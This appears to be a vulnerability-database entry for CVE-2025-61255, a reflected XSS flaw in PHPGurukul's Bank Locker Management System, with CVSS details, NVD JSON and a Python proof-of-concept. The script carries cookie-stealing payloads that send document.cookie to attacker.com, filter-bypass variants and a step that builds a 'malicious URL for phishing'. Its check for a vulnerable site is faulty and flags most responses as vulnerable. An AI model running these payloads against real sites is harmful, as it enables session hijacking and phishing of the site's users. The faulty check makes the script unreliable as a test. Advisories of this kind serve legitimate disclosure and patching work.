Security Vulnerability Report
中文
CVE-2025-61255 CVSS 6.1 MEDIUM

CVE-2025-61255

Published: 2025-10-21 19:21:25
Last Modified: 2025-10-23 12:29:52

Description

Bank Locker Management System by PHPGurukul is affected by a Cross-Site Scripting (XSS) vulnerability via the /search parameter, where unsanitized input allows arbitrary HTML and JavaScript injection, potentially resulting in information disclosure and user redirection.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:bank_locker_management_system:-:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Bank Locker Management System (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61255 - PHPGurukul Bank Locker Management System XSS PoC # Vulnerability: Reflected XSS via /search parameter # Author: Security Researcher import requests import sys TARGET_URL = "http://target-site.com" SEARCH_ENDPOINT = "/search" # Malicious JavaScript payload - steal cookies and redirect PAYLOAD = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Alternative payloads for bypassing filters PAYLOADS = [ # Basic script injection '<script>alert("XSS")</script>', # SVG-based payload '<svg/onload=alert(document.domain)>', # IMG tag with onerror '<img src=x onerror=alert(1)>', # Cookie stealing payload '<script>fetch("http://attacker.com/steal?c="+document.cookie)</script>', # Event handler injection '" onmouseover="alert(1)" "', # HTML entity bypass attempt '<scr<script>ipt>alert(1)</scr</script>ipt>' ] def test_xss(target_url, payload): """Test XSS vulnerability with given payload""" params = {"search": payload} try: response = requests.get(f"{target_url}{SEARCH_ENDPOINT}", params=params, timeout=10) # Check if payload is reflected without sanitization if payload in response.text or payload.replace('<', '&lt;') not in response.text: print(f"[+] VULNERABLE! Payload reflected in response:") print(f" Payload: {payload}") print(f" URL: {response.url}") return True else: print(f"[-] Payload appears to be sanitized: {payload[:50]}...") return False except Exception as e: print(f"[!] Error testing payload: {e}") return False def main(): print(f"[*] Testing CVE-2025-61255 XSS vulnerability") print(f"[*] Target: {TARGET_URL}") print("-" * 60) for i, payload in enumerate(PAYLOADS, 1): print(f"\n[*] Testing payload {i}/{len(PAYLOADS)}") if test_xss(TARGET_URL, payload): print(f"[+] Confirmed XSS with payload #{i}") break # Generate malicious URL for social engineering malicious_url = f"{TARGET_URL}{SEARCH_ENDPOINT}?search={requests.utils.quote(PAYLOAD)}" print(f"\n[*] Malicious URL for phishing:") print(f" {malicious_url}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61255", "sourceIdentifier": "[email protected]", "published": "2025-10-21T19:21:24.727", "lastModified": "2025-10-23T12:29:51.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bank Locker Management System by PHPGurukul is affected by a Cross-Site Scripting (XSS) vulnerability via the /search parameter, where unsanitized input allows arbitrary HTML and JavaScript injection, potentially resulting in information disclosure and user redirection."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:bank_locker_management_system:-:*:*:*:*:*:*:*", "matchCriteriaId": "3F9458E5-8EDC-4213-8B7C-0C9F0234C456"}]}]}], "references": [{"url": "https://github.com/nikhilpatidar01/CVE-Assigned-Reports/blob/Master/CVE-2025-61255/advisory.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/", "source": "[email protected]", "tags": ["Product"]}]}}